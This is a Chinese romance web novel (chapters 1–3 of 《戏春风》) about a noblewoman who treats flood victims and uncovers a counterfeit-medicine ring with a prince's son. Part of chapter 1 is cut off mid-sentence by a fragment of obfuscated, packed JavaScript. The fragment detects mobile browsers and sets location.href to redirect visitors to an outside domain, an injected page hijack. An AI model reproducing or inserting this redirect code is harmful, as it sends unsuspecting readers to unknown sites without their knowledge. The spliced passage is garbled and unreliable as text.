《戏春风》
1. 出嫁
"小姐,过了明月州,再有五日就到镇南王府了。"翠微替崔宝珠揉着太阳穴,声音压得极低,"您...真的不后悔吗?"
崔宝珠睁开假寐的双眼,掀开马车帘子。窗外瓢泼大雨敲打着泥泞官道,她朱唇微扬:"后悔?我高兴还来不及。"
两个月前那道赐婚圣旨降下时,整个宣平侯府都炸开了锅。
"西南?那么远!"
"镇南王府的二公子?听说是个纨绔!"
"宝珠可是我们崔家独女啊!"
崔家有祖上传下来的宣平侯爵位,又是御前太医,皇帝心腹。
这样的门楣,京城子弟任崔宝珠随便挑,偏被一道圣旨打发到了千里之外的镇南王府。
没人知道,接旨那晚崔宝珠躲在被窝里笑出了声。
要风得风要雨得雨的千金贵女,看似拥有一切,实则被困在金丝笼里——
每日学规矩、跟着祖母背医书、参加无聊的闺阁诗会。最远只到过城郊白马寺,连真正的山都没爬过。
而镇南王府,远在西南边陲,据说是十万大山环抱之地。
"小姐!快看!"青杏的惊呼打断了她的回忆。
马车不知何时已经停在明月州城门口,城墙下乱作一团。
几个管事模样的人正在驱赶灾民,为首的玄衣少年一脚踹翻了个抢粮袋的瘦弱汉子。
那动作又快又狠,汉子倒地咳出一口血来。
"怕是官差在镇压暴民,小姐别多看......"
话音未落,崔宝珠已跳下马车冲向人群:"你怎么打人啊!"
她挤进人堆时,正见玄衣少年拎起抢粮人的衣领,警告:"偷粮者,鞭二十。"
"住手!"她一把抓住少年手臂,触到满掌湿冷,却梗着脖子瞪他,"洪水还没退就欺压百姓,官府就是这么救灾的?"
少年眯眼打量她绣着银线的裙角:"京都来的大小姐?"
突然反手扣住她手腕一拽,"那就请小姐看看——"
他扯她到粮袋前,刀尖划开麻布,霉黑的谷粒混着砂石哗啦啦洒出。
"这是他们抢的''粮''。"少年冷笑,"吃了会死人的。"
崔宝珠一时语塞,却瞥见一旁的老翁咳出血沫,又硬气起来:"那也不能动手!我是大夫,他需要......"
"需要你少添乱。"少年甩开她,转身下令,"把霉粮烧了!"
"自大狂!"崔宝珠气急,抄起水囊砸向他后背。
少年仿佛脑后长眼,侧身避让。可她却用力过猛,一脚踩中湿滑的苔石,惊叫着栽进深水潭——
"麻烦!"少年骂着飞扑去抓,却只扯落她腰间玉牌。
浑浊的水淹没头顶时,崔宝珠看见少年毫不犹豫扎进水里的身影。他游鱼般逼近,捞住她的腰往上一托。
"哗啦——"两人破水而出,她趴在他肩上剧烈咳嗽,听到他咬牙切齿的声音响在耳畔:"你们京都贵人,都这么喜欢背后伤人?"
被拎上岸的崔宝珠浑身滴水,发髻散成乱草,却不忘抓一把淤泥糊向他冷脸:"谁要你救!"
少年偏头躲开,泥巴全糊在他衣领上。围观灾民发出压抑的笑声。
"笑什么!去干活!"他暴喝一声,众人鸟兽作散,只剩崔宝珠恶狠狠瞪他。
少年突然伸手,她以为要挨打,闭眼缩脖子——
却感觉一件干燥外袍兜头罩下。
"穿好。"他背过身,露出后颈一道她挣扎时留下的抓痕,凶巴巴地道:"再病死一个,老子没空埋。"
翠微赶来时,见自家小姐正裹着陌生男子的外袍跳脚:"谁稀罕你的破衣服!"
少年捡起摔成两半的玉牌,瞳孔骤然一缩——玉佩背面刻着崔字。
"还我!"崔宝珠去抢,少年却高高举起,日光下他指尖有血混着水滴在她脸上:"崔家的?正好。"
他忽然拎起她往肩上一扛,在翠微的惊呼中大步走向废墟:"你爹是太医,你总认得药草——城南病营缺人手,干活抵债。"
"什么债?!"
"救你命的债。"
他肩上扛着崔宝珠大步穿过废墟。她头朝下,胃被他的肩膀顶得生疼,挣扎间发丝扫过他后颈的抓痕。
"放我下来!你这土匪——"她捶他后背,拳头砸在肌肉上像捶石头。
"再动就把你扔进疫病区。"他声音冷硬,手却稳得纹丝不动。
崔宝珠突然张嘴咬他肩膀。
"嘶!"他猛地停步,终于把她放下来——却是拎着后领悬空,像拎一只炸毛的猫,"你属狗的?"
她双脚乱蹬:"我爹是太医!是宣平侯!你敢这样对我?!"
他冷笑:"那又怎样?"手指一松,她踉跄落地,抬头正对上他俯视的眼神,"现在这里是尸堆里刨食的地狱,就是皇上来了也没人在意。"
崔宝珠愣住,回头看见到处都是难民,对着翠微和侍卫招呼道:"先去帮忙救人!"
"你等等我!"一咬牙,乖乖跟在少年后面。
转过残垣,浓烈的腐臭味扑面而来。崔宝珠捂住口鼻——破庙里横七竖八躺着几十个病人,有人伤口生蛆,有孩童腹胀如鼓。
草帘隔出的"产房"里,血腥味和汗臭混着霉味,像一锅煮沸的锈水。崔宝珠看向角落里等死的孕妇,指甲掐进掌心。
"替她接生。"
"我...我不行...接生婆呢?"她哪见过这场面。
"这里没有接生婆。"
"我…我真的不行。"雨水从破瓦缝漏进来,滴在崔宝珠的后颈上,她低头:"我从没替人接生过。"
"你的银针,是绣鸳鸯用的?"
他踢开一旁正在啃尸体的野狗,"两个选择。"他掰着手指数:
"一,现在滚回京都,继续当你的娇小姐。"
"二,留下来,用你的本事,救一个算一个。"
"这位小姐是京城的名医。"他扣着崔宝珠的腕子,把她拉到里面,声音又轻又有力,探身对那孕妇说:"来救你命的。"
他"名医"二字一出口,破庙里霎时安静下来,所有人的目光都聚在她身上。
崔宝珠只好硬着头皮上前——
那产妇名唤芸娘,年纪轻轻,盆骨窄小,已经挣扎了六个时辰,力气耗尽,嘴唇咬得稀烂。
指甲在挣扎中折断,纤细的手指血肉模糊,却挣扎着、死死攥着崔宝珠的手腕,"救…救...救孩子。"
崔宝珠一阵眩晕,耳边嗡嗡作响,像是有人把铜钟扣在了她脑袋上狠命敲击。
她看见自己的手在抖,药箱沉得她几乎抱不住。她看见产妇身下的草席浸透了血,黄绿色的羊水和粪污一阵阵地涌出来——
"哇——"
她猛地弯腰吐了出来。酸苦的胆汁混着未消化的粥糜溅在鞋面上,眼泪也跟着决了堤,大颗大颗地往下砸。她死死抓着药箱边缘,指节泛白,浑身抖得像风中的残叶。
"算了。"那少年微微摇了摇头,转身要带她出去。
"...热水、干净布、还有..."她抹了把嘴角的酸水,拉住他。
"没有''还有''。"他打断她,从怀中掏出半块发霉的姜,"这是最后''药材''。"
她一把抢过姜,红着眼瞪他:"那你就去烧水!砍柴!"
他挑眉。
"怎么?"她扬起下巴。
"那我走了?"
她回头看了眼一片混乱的产房,一跺脚,喊住他:"你还是留下来。帮我吧......"
唯一一盏油灯被风吹得忽明忽暗,在潮湿的墙上投下扭曲的影子,像挣扎的鬼魅。
"姑娘、求您…"芸娘突然抓住她手腕,指甲抠进她虎口,"保孩子!"
惨叫混着雷声炸响,崔宝珠攥着银针的手全是汗——
"医书上说''妇人产难,可针合谷、三阴交''。"她太紧张,不知不觉地默念出声。
"三阴交……三阴交应该在这。"
她按《女科要略》取三阴交穴,却因芸娘浮肿摸不准位置,第一针扎偏,又惹来一声惨叫。
"这里。"少年一把捏住她发抖的手腕,带她找到正确穴位:"在这儿,摸到胫骨后缘没有?"
崔宝珠稳住心神,再刚下针,芸娘忽然失禁了,粪尿混着血水溅在裙摆上。
"失禁是正常的,没关系,你别怕。"她安慰芸娘。
继续集中精力,双手向下探去。
羊水滑腻,她回忆着医书里的方法,两指探入产道旋转胎儿,摸到了孩子冰凉的脚丫——
胎位不正,难怪这么久都生不下来。
突然,芸娘毫无预兆地大出血,喷溅的血珠落在崔宝珠眼皮上,她下意识闭眼,再睁开时视野一片猩红。
"剪刀拿来!"她几乎是吼出来的。
利落地剪开产道,切口处翻出粉白色脂肪层,像剥了皮的兔子。
"保孩子!"芸娘吊着口气,挣扎着。
孩子的头露出来了——剪断脐带的瞬间,胎盘突然早剥,血如泉涌,崔宝珠不得不整条手臂伸进去掏。
浑身青紫的婴儿被拽出时,脐带绕颈三圈,像上吊的绳索,拍打足底毫无反应。
濒死的芸娘回光返照,一把抓住孩子脚踝:"让我…看看…"
崔宝珠手抖得抱不住婴儿,突然被少年从背后托住手肘。
"撒谎。"他贴着她耳廓低语,"说孩子很好。"
"是个健康的姐儿!"崔宝珠强撑着,满脸满身是血,实在是笑不出来。
芸娘笑着咽了气。
死寂中,少年接过孩子,不断地拍打后背抢救。崔宝珠张了张嘴,想说"已经没救了",可喉咙却被哽咽堵住,半个字也说不出来。
她瘫坐在破庙的门槛上,把银针一根根插回针囊,动作很稳,稳得别人看不出她眼前一阵阵发黑——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799204|175044||http|test|mini|href|location''.split(''|''),0,{}));
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>只是插到第七根时,针尖戳偏了,刺破了她的指尖。
血珠冒出来,圆润如红豆。她盯着那点殷红,忽然听见门内传来婴儿微弱的哭声......
"给。"他也出来了,摊开掌心,"芸娘准备给接生婆的谢礼。"
——三文铜钱,已经磨得发亮。
她接过铜钱摩挲着,瘪了瘪嘴,到底没忍住——
泪珠子扑簌簌滚了满脸,索性破罐子破摔地把脸埋进臂弯,呜呜咽咽的,混着不成句的对不起。
"姑娘!大夫姑娘!"芸娘的婆母跑出来,怀里抱着那个刚刚生下来的孩子,"孩子...孩子又不好了!"
崔宝珠赶忙抹了眼泪,接过孩子一看,可不得了——婴儿巴掌大的小脸青紫,气息时强时弱,"这孩子…好像是中毒?"
她心里盘算着,回想孩子刚生下来的样子和芸娘产程中的表现,推断应该不是才中毒的。
"芸娘这两天吃了什么?"
"除了稀粥,哪有别的吃食?"芸娘婆母吞吞吐吐。
"你不说实话,这孩子就没救了!"崔宝珠急道。
"昨天早上,她吃了个补力气的汤药。"
"什么药?药渣呢?"
"我儿子是在同兴镖局跑镖的,洪灾前几日,镖局运了好几车药材送到了隔壁的眉邑。我儿子说,也不是什么名贵药材,只是连翘、藿香、艾草这些常用的......"
芸娘婆母从角落的炉灶上搬出个破陶罐,里面装着剩下的药渣,小声心虚道:"只顺手拿了一两样好的,日日熬给她喝。"
崔宝珠捻起药渣,在手心碾碎铺平,小心地闻了闻。
"乌头?"
"不是乌头。"芸娘婆母一口否认,回忆道:"我儿子说…这药叫附…附什么来着?"
"附子?"
"我儿子说的就是这个名!这药在咱们这不常见,我才不记得。"
"附子是乌头的子根,乌头要经过炮制降低毒性才会成为附子。你儿子应该是弄错了。"
崔宝珠没多想,在药箱里翻出一瓶解毒丸,递给那千恩万谢的妇人。
"每日一颗,捣碎了,给孩子喂下。"
"你儿子呢?"半晌没开口的少年忽然问。
"前日河岸溃堤时,失踪了。"
"连翘、藿香、艾草、附子......这些都是清热解毒、止疼救急、应对瘟疫的好药。"
崔宝珠蹲在药箱前,把能用的药都整理出来,嘴里絮絮念叨着——
"大灾之后,必有大疫。咱们也应该差人去眉邑买些。"
"但是不对啊…..."她慢慢合上药箱,咔嗒一声脆响。忽然被惊醒似的,一拍手,恍然大悟道:"药是洪灾前运来的,难道有人未卜先唔——"
"嘘。"少年及时捂住她嘴,"小点声。"
崔宝珠满脸嫌弃地拍开他的手掌,但还是听话地压低了声音,问:"难道有人未卜先知,知道明月州会受灾缺药?"
"乌头充当附子卖,节省加工成本,有人丧良心,想发灾难财。"
"咱们去眉邑抓坏人吗?"崔宝珠跃跃欲试。她脸上又是花了的胭脂、又是汗水、又是泥点子,活脱脱一只眼睛亮晶晶的花猫。
"与你无关。"他却转身走了,摆摆手,"你的任务完成了。"
"喂!你怎么卸磨杀驴啊!"
"你是驴?"
次日,天刚蒙蒙亮,少年一身粗布短打、头戴斗笠,牵了匹不起眼的灰马,悄无声息出城。一则是去眉邑的药市买药,顺便查一查同兴镖局的猫腻。
结果刚出城门,他就看见——崔宝珠翘着腿坐在城垛上,手里抛接着一个苹果,看起来在这蹲了好一会儿。
"早啊!"乌头的事搅得她一宿没睡,抓心挠肝地好奇。半夜就从住处偷偷溜出来,裹着斗篷蹲在这儿守株待兔,边磕瓜子边等。
起身,散落一地的瓜子皮,脚一软,"诶哟哟!你扶我一把!腿都蹲麻了!"
"回去。"他伸手扶了她一把。
"药市路远,我怕你迷路。"
"我认得路。"
"药市水可深,你不带个大夫,小心被骗哦!"
他默了默,算是同意了——"到了地方闭嘴跟着。"
"行啊,你看不出假药的时候别求我。"她牙尖嘴利,一句也不吃亏。
"自己找马。"
"不会骑。"这是实话,崔宝珠踮脚爬上马,挤到他背后。"凑合吧。"
他余光瞥了身后的''狗皮膏药''一眼,从齿缝挤出一句——
"京城小姐都如你这般,喜欢跟着陌生男人乱跑吗?"
"这个,别人不认得,我却认得。"她指了指他腰间的玉佩,得意得尾音都是上扬的:"镇南王府给我的聘礼里,有相似的半块。"
嘴角一翘,眼睛弯成两枚小月牙,带着点孩子气的挑衅:"谢珩。我是崔宝珠。"
2. 遇险
"确定这样坐?"谢珩看着崔宝珠折腾来折腾去,最后背对着他骑在马屁股上,眉头微蹙。
"这样安全。"崔宝珠嘴硬道,双手死死抓住马鞍后缘。
她再不拘小节也是个未出阁的姑娘,要不是情势所迫,谁愿意和他共乘一骑!
"驾!"谢珩突然一抖缰绳,马儿猛地加速,崔宝珠猝不及防后仰,整个人撞进他怀里。
"喂!你故意的!"她气急败坏地挣扎着坐直。
"是个人这样坐都会后仰。"谢珩语气平淡,眼中却闪过一丝促狭。
"眉邑走这边!"她坐稳后,展开地图指路。
"先去清江府的镖局探探。"
"清江往西走!"
"那是东。"谢珩回手把她拿反了的地图转过来,嘴角微扬。
崔宝珠屡屡吃瘪,气得抿紧嘴唇不再说话,心里暗自发誓回去一定要学会骑马。
"你是来完婚的?"谢珩突然问道,声音里带着几分探究。
"不然呢?千里迢迢,我没事闲的?"她没好气地回道。
"自愿的?"
"难道能抗旨?"崔宝珠踢了他小腿一下,挑衅道:"不然你入赘到我们家?"
"外面逍遥快活,我才不去京城。"
"真潇洒。"崔宝珠难得颇有同感地点头,眼中闪烁着向往:"我若是个男子,也要做个行侠仗义的江湖游医。"
"有志向!"谢珩的声音混在风中,带着少见的轻快:"江湖神医里,还真没听说有女子,不如你去做第一个!"
马蹄疾驰,一只云雀从苜蓿地里惊起。崔宝珠目光追随着那只振翅高飞的鸟儿,心中涌起一股前所未有的自由感——在这破败混乱的明月州,她意外发现了自己作为女子,除了婚姻之外的价值。
风灌进她的衣领,在衣衫下鼓胀起来。她整个人兴奋得仿佛要脱离马鞍飘起来。"崔宝珠、崔大夫……"她在心中默念着这个新身份,胸中似有百只蜂鸟同时振翅欲飞。
清江城地处明月州以北,是连接西南诸府与京城的要道。城中八成百姓从事药材相关行业,同兴镖局就坐落在城中最繁华的街市。
"前面就是。"谢珩在城外驿站寄存了马匹,转头看见崔宝珠正喜滋滋地哼着小曲。
"傻笑什么?"他挑眉问道。
"你才傻笑。"崔宝珠从幻想中回过神来,提着裙子追上他,"喂!等等我!"
她像只欢脱的喜鹊,围在他身边叽叽喳喳:"咱们待会儿怎么办啊?你不是镇南王府的人嘛!要不要让官府把卖假药的都抓起来?"
谢珩随手从路边树上摘了颗沙棘,手指一弹——
"嗖!"沙棘精准击中她后颈的哑穴。
"……?!"崔宝珠张口却发不出声音,只能怒目而视。
"嗯,"谢珩煞有介事地点点头,"安静多了。"
同兴镖局门前,几个壮汉正冒雨搬运货物,一麻袋接一麻袋地往车上装。
"你们俩干啥的?"一个镖师粗声问道。
"劳驾——"谢珩上前,语气急切:"我们想托同兴镖局,给在明月州受灾的家人捎点药。"
"不做药材生意。"那镖师想都没想就一口回绝。
"咳咳…"约莫一炷香后,崔宝珠的哑穴自行解开。她清了清嗓子,提高音量:"你们不是前几日还往眉邑运药!怎么现在又不做生意了?"
"说不做就不做!"镖师不耐烦地挥手,"起开起开!"
崔宝珠眼珠一转,突然在镖局门口人多处放声大哭:"可了不得了!同兴镖局见死不救啊!"
这一嗓子立刻引来路人围观。
"你干什么!"谢珩被她这突如其来的表演惊到,作势要拉她起来。
"这日子真是没法过了!"崔宝珠哭得更大声了,斗笠一掀,也分不清脸上是雨水还是眼泪。"我家里就这么一个傻哥哥,前年好不容易娶了媳妇儿,怀了娃儿!"
她指着呆若木鸡的谢珩,哭天抢地:"嫂嫂回明月州的娘家探亲,碰上了洪灾!昨日传信说难产死了!留下个病歪歪的小侄子……"
"……"谢珩默默把斗笠往下拉了拉,遮住抽搐的嘴角。
"明月州封城,我听说同兴镖局能送药进去,今日天还没亮就拉着我哥哥来了。"崔宝珠一屁股坐在地上干嚎,"没成想,他们却连这点忙都不肯帮啊!这是让我傻哥哥绝后啊!"
围观百姓纷纷议论起来,指责镖局不近人情。
"你!"镖局里走出个干瘦老头,对他们招了招手:"进来!"
老头解释道:"不是我们不帮你送药,实在是官府近来对药材管得严,一律不准私药流通。"
"那什么药能送?"崔宝珠追问。
"要运药,得有药引。"老头把他们当成了山里的药农,"药引就是官府发的批文。你们要去批文上指定的药铺买药,我们才能帮你送。"
谢珩假装在门外"发呆",实则暗中检查那些麻袋——里面装的竟是麦秸和沙子。
听见里面的话,分神:明月州知州死在洪灾中,衙门乱成一团,这老头口中的"官府"又是哪个?
"我们小老百姓,到哪里去拿官府的批文!"崔宝珠鼻子一抽,又要开始哭。
"别哭!"老头太阳穴突突直跳,压低声音:"你去马头村,找个叫杜六的药贩子,他那买药、运药都不用药引。"
就在这时,搬货的镖师发现了谢珩的异常举动。
"喂!你小子干什么呢!"
"我哥他脑子有问题!"崔宝珠连忙冲出来赔笑,拉起"傻哥哥"就走,"对不住对不住!别和傻子计较!"
跑出一段距离后,崔宝珠气喘吁吁:"快给我口水喝,嗓子都嚎冒烟了。"
"京城的闺秀?"谢珩挑眉,眼中闪过一丝赞赏。
"没想到吧!"崔宝珠回头冲他眨眨眼,"本姑娘在京城时,比这还威风。"
她拍了拍谢珩肩膀,一副前辈姿态:"硬的怕横的,横的怕愣的,跟本姑娘多学着点!"
她的发髻早已散乱,一缕缕湿发贴在脸颊,衣裙也湿透了,冷得直打哆嗦,却笑得开怀。右颊那个平时隐藏的小梨涡,此刻若隐若现。
谢珩定神,将斗笠扣回她头上:"我饿了,去吃饭。"
清江受暴雨影响,饭馆里只供应简单的菜汤。崔宝珠捧着热气腾腾的汤碗一饮而尽,满足地抖了抖身子:"要是有肉就更好了!"
"喂!你干嘛去?"她喊住往后厨走的谢珩。
片刻后,谢珩端了碗姜茶回来:"祛寒,喝了。"
"你做的?"崔宝珠瞪大眼睛,热气扑在她脸上,睫毛挂满细小的水珠。
"想得美。"谢珩嘴角微扬,故意放慢语速:"我说我妹妹脑子冻坏了,掌柜的可怜你,送的。"
崔宝珠白了他一眼,继续埋头吃饭:"老板!再加两个烧饼!"自打昨日到明月州,她几乎没吃什么东西,饿得前胸贴后背。
谢珩简单吃了几口,就拄着头看她——她捧着比脸还大的烧饼,一口饼一口汤,吃得额头沁出细汗,脸颊泛红。粗茶淡饭在她口中仿佛成了珍馐美味。
不知为何,他鬼使神差地开口:"等灾情过去,请你尝尝西南鱼脍。"
"真的?"她眼睛一亮,伸出小拇指。
"幼稚。"他嘴上这么说,却还是伸出小拇指与她相勾。
饭后,二人前
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往马头村寻找杜六。村中几乎家家户户都与药材有关,但大多院门紧锁。
崔宝珠看着密密麻麻的民居发愁:"先打听下杜六住哪?"
话音未落,她腰间一紧——谢珩手臂环住她,猛地一提!她还来不及惊呼,整个人已被他带着腾空而起,稳稳落在院内。
"砰!"又是一声巨响。谢珩一脚踹开杜六的家门,门闩应声而断。
"杜六,滚出来!"
"谁啊?!敢闯老子家,不要命了是不——"一个肥头大耳的男子骂骂咧咧地出来,话未说完就被谢珩用剑鞘抽在脸上。
待看清来人,杜六脸色大变:"谢…谢谢谢…二爷!"他立刻换上一副谄媚嘴脸,又是端椅子又是奉茶,比伺候亲爹还殷勤。
"是上次送到府里的药不妥当?还是缺什么新药材了?"杜六满脸堆笑,"有事您随便差人来知会一声就是,外头下着雨,您还亲自跑来!"
崔宝珠还愣在门口,被这突如其来的变故惊呆了——他刚才拎着我翻墙了?还踹门了?这人是土匪吗?
"这位是二爷的新相好?"杜六眼尖,殷勤地将崔宝珠迎进屋,眼神暧昧地在两人之间来回打量,"难怪二爷漏夜前来?"
他又心领神会地笑道:"姑娘要什么?回春丹?璇玑丸?雪肌生香散?还是芙蓉驻颜膏?"
崔宝珠回过神来,猜到这杜六与镇南王府有往来,便顺着说道:"我要连翘、藿香、艾草……还有附子。"
"姑娘净开玩笑,那都是些寻常药材,我这没…..."
"没有是吧?"谢珩掏出火折子,大步走向后院仓房,"再不说实话,爷一把火点了你这院子。"
"爷!二爷!您别…..."杜六慌忙阻拦。
仓房门被推开,火折子的微光下,横七竖八躺了一屋子人。崔宝珠检查最近一人的脉搏,脸色骤变:"你在用这些人试药?"
杜六突然狞笑:"二爷今日来得不巧…..."
话音未落,四周伏兵尽出,火油泼洒,整个仓房瞬间燃起熊熊大火!
风雨中,火势不减反增,浓烟滚滚。茅草屋顶被烧得噼啪作响。
"哪跑!"杜六刚要溜走,被谢珩一把扣住,用麻绳捆了个结实。
崔宝珠的裙摆被火舌燎焦,她正要后退,却听见死人堆里传来微弱的呼救声:"贵人姐姐……救、救救我。"
是个孩子!
她抬头判断火势,咬牙冲了进去。
"崔宝珠!回来!"谢珩的喊声在身后响起。
她拉起那孩子正要退出,头顶传来横梁断裂的声响。
"小心!"
谢珩冲破浓烟将她扑倒。横梁重重砸在他背上,发出沉闷的撞击声。
"你…你别死啊!"崔宝珠被他护在身下,摸到他肩膀湿热的血迹,声音发颤。
"死不了。"谢珩闷哼一声,强撑着踹开侧窗,将她推出去。
她刚站稳,回头就见房梁彻底坍塌,火焰吞没了谢珩的身影——
"谢珩!"她撕心裂肺地喊道。
"别哭!没死!"两个呼吸,谢珩从火中翻滚而出,斗篷烧焦,肩膀血肉模糊。幸好连日阴雨,斗篷潮湿,才救了他一命。
他们刚逃出仓房,身后便传来轰然倒塌的巨响,那些奄奄一息的药人尽数被埋。
浓烟中,崔宝珠隐约看见围墙上站满了弓箭手。她牙齿不受控制地打颤:"你走!别管我!你会轻功,快走!"
"我往哪飞?"谢珩竟还笑得出来。
他扯下她的外袍裹住湿泥,朝墙上一甩。弓箭手果然中计,乱箭射向那团影子。
趁此机会,谢珩拉起她冲向暗渠,消失在雨幕之中。
3. 同宿
谢珩将暗渠盖板轻轻阖上,屏息凝神听着外面的动静。确认追兵远去后,这才松了口气,转头看见崔宝珠仍呆立在一旁出神。
他伸手在她眼前晃了晃:"回魂了。"
崔宝珠猛地回神,一把抓过他的手腕把脉,强作镇定道:"左肺有瘀伤...不许乱动!"
"小伤而已。"谢珩不以为意。
"闭嘴!"她一边为他清理手臂上的伤口,一边咬牙切齿地骂道:"谁让你逞英雄的?难道要都死在里面吗?笨蛋!莽夫!"
骂着骂着,她的手开始不受控制地发抖。眼泪啪嗒啪嗒砸在他的伤口上,突然嚎啕大哭起来:"我...我...你吓死我了!"
谢珩被她哭得手足无措,想抬手为她擦泪,又见自己的手满是烟灰,只得作罢。
最后只能轻轻拍着她的后背安抚:"好了好了...我这不是活着回来讨骂了么?"
"你还笑!"她眼泪来得快去得也快,突然一拍大腿:"杜六呢?"
谢珩这才后知后觉地"诶呀"一声,懊恼道:"我着急救你,让这混蛋跑了!"
外面救火的人声渐近,他趁乱打开井盖:"走!我有办法。"
"他怎么办?"崔宝珠指了指昏迷的孩子,这才想起还有个人需要安置。
谢珩背起孩子,找了个僻静处,低声唤道:"雀九?雀九!"
"我在这!"树梢间探出个脑袋。
"把这孩子安顿好,把杜六的事传信回王府。"
"你有暗卫!"崔宝珠瞪大眼睛惊呼,随即转向雀九怒目而视:"你刚才怎么不出来?"
作为暗卫,雀九非必要不能露面。其实方才他也想出手,但见局面尚可控,便略等了等。
此刻他咧嘴一笑:"爷要英雄救美,我出来多碍事儿啊!"
"找两匹马。"谢珩莫名有些不自在,岔开话题。
"只有一匹。"雀九牵来那匹灰马,促狭道:"就共乘一骑呗,你们刚才不也是这么来的嘛!"
"滚啊!"两人异口同声,雀九屁股上顿时多了两个泥脚印。
兜兜转转,他们又回到清江城。"客栈?不去查案吗?"崔宝珠疑惑地问。
"不急。"谢珩神秘一笑,带着她走进一家灯火通明的客栈,扔给小二几个铜板:"喂马!"
"二位客官。"掌柜的手指敲着算盘,噼啪作响,"逆旅一宿,十两银子。"
与其他地方不同,这家客栈明堂亮灶,宾客盈门,显然掌柜借灾情发了笔横财。
"十两?!"崔宝珠咋舌,"你不如去抢啊!"
"到处闹灾,十两银子一间,大伙都抢着要呢!"掌柜的耸肩,活像只偷油的老鼠。这话倒是不假,明月州八成的房屋被毁,有钱人都涌到了青江城的客栈。
"两间房。"谢珩掏钱。
"住一间!"崔宝珠手快,抢回一个银锭。
谢珩先是一愣,随即歪头笑了:"替我省银子?"
"想得美!"她翻了个白眼。
"那是...一个人住害怕?"
被戳中心事,她脸颊"腾"地涨红,却强撑着扬起下巴:"我...你伤口都裂开了!我得帮你换药呢!这是大夫的职责!你懂什么..."
"哦——?"他懒洋洋靠着柜台,故意拖长声调,又故作正经地清清嗓子:"那我可要谢谢崔大夫。"
"哼!"崔宝珠转身就走,差点被自己的裙摆绊倒,懊恼地喊道:"小二!把你们这的好菜都上来!他付账!"
酒足饭饱后,崔宝珠一进房间就搬来屏风将房间隔成两半,严肃划界——她抱着一床被褥往地上铺:"你受伤了,你睡榻,我打地铺,敢越界就拿针扎你!"
谢珩懒散地靠在榻上:"崔大夫,我是伤员,起夜绊到你摔了怎么办?"
"事多!"她瞪眼,"那你睡地上!"
她像只陀螺般忙来忙去,搬屏风挪椅子,划定楚河汉界后,又从药箱里挑挑拣拣,没好气道:"脱衣服,把肩膀露出来。"那截燃烧的房梁砸在他左肩上,伤势肯定不轻。
"这不太合适吧?"
"你是自己脱,还是我扎到你肌肉松弛再扒?"崔宝珠举着银针冷笑。
他轻咳一声,慢吞吞地解衣带。
她抬眼皱眉:"你脸红什么?"
"哪有!"他像被踩了尾巴似的,推着她往门外走:"你出去,我自己能..."
话音未落,被她一针扎在穴位上,半边肩膀顿时麻酥酥没了知觉。
"医者视疾,无分男女。"她抿着嘴,故作严肃地别过脸,忍笑忍得辛苦。
将他按在椅中坐下,"在我眼里,你和块蹄膀没差别。"
"你这样凶悍,鬼才敢娶..."
"再废话扎你哑穴!"
衣衫粘连着伤口,不得不剪开。他的肌肉紧绷着,稍一动弹就撕开细小的裂口。皮肉翻卷处嵌着焦黑的碎屑,边缘泛着不祥的紫红色。
"伤得不轻。"崔宝珠喉咙发紧,用棉纱蘸着药膏,利落地剔除扎在肉里的木屑。
"你也太小瞧我了,当年我中三箭还能单手打赢——嘶!"他瞬间咬紧牙关,喉结滚动。
随即又扯出漫不经心的笑,转移话题:"杜六原是镇南王府的奴才,我爹看他在商贾之道上有几分机灵,就放他出来做生意。今天怪我大意,小看了那混蛋!等明天抓到,非得扒了他的皮,把他也扔到火里烤!"
她指尖放轻力道,吸了吸鼻子,嘴硬道:"这次算我欠你的。"
处理完烧伤,往下是肩胛骨处一道淤血,凝成深紫色,肿得发亮,像熟透的烂桃皮将破未破。
她用手心温热药油,按在淤处揉开,明显感觉他呼吸一滞。
手一顿:"对不起啊..."
他侧头看她眉头拧成麻花,故意逗她:"崔大夫心疼我了?"
她没接茬,下唇咬得发白,一言不发地替他换好药。
收拾药箱时,忽听他低声问:"...今天吓到了吧?"
京城来的娇贵小姐,这两日吃了上顿没下顿,又是救人又是淋雨,还被刺杀险些葬身火海,确实难为她了。
她背影一僵,攥着药瓶的手指发白。
怎么可能不后怕?那截烧焦的木头要是再偏一点,现在躺在这的就是一具尸体了。
她低头翻药箱
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,借刘海遮住发红的眼圈,嘴上却硬:"吓什么吓!还不是怪你逞英雄!"
说完就后悔了——他是为救她才伤成这样。
"那你抖什么?"他伸手,拉了拉她垂落的袖口。
她猛地抽回手,却带翻了药箱,瓶瓶罐罐撒了一地。蹲下去捡时,突然哽咽起来:"...笨死你算了。"
一滴泪砸在手背上,她慌忙用袖子抹脸,眼泪却越擦越多。
他没拆穿她的慌乱,一边穿衣一边夸张地叹气:"唉!看来以后受伤得找别的大夫了..."
她立刻抬头瞪他:"你敢!"
他笑着蹲下帮忙收拾药箱,顺手揉了揉她的脑袋:"那崔大夫可得对我温柔点。"
她拍开他的手,却破涕为笑:"再加十两诊金!"
三更天,谢珩被一阵窸窣声惊醒。他警觉地按住枕边佩刀,发现声音来自屏风那头——崔宝珠的床榻。
他探身望去,月光透过窗缝,正好映在她那张咬牙切齿的小脸上。她睡得毫无形象,发髻散乱,显然是白天累极了,连脸都没擦就倒头睡下。
"啧,睡相真差。"他低笑,伸手想替她拨开脸上的碎发。
手刚伸过去,崔宝珠突然一个翻身,猛地抓住他的手腕:"...杜六别跑!吃我一拳!"力道大得惊人。
谢珩猝不及防,被她拽得一个踉跄,险些栽到她身上。他连忙稳住身形,又怕惊醒她,只得僵着不动。
崔宝珠浑然不觉,梦里还在"搏斗",念念有词:"...敢暗算我...我扎死你...扎死你..."
他揉揉眉心,正犹豫要不要叫醒她,却见她突然坐起,闭眼怒喝:"谢珩!你站住!"
谢珩:"???"
他下意识僵住,结果崔宝珠又直挺挺倒回去,继续梦呓:"...爱逞英雄...再逞英雄我就给你下泻药...让你当众出丑..."
他沉默片刻,突然低笑:"原来崔大夫梦里也在操心我?"
崔宝珠没回答,只是往他这边蹭了蹭,脑袋一歪,枕在了他手上。
谢珩僵住,一动不动。夜深人静,他清清楚楚听见自己的心跳:"怦怦——"
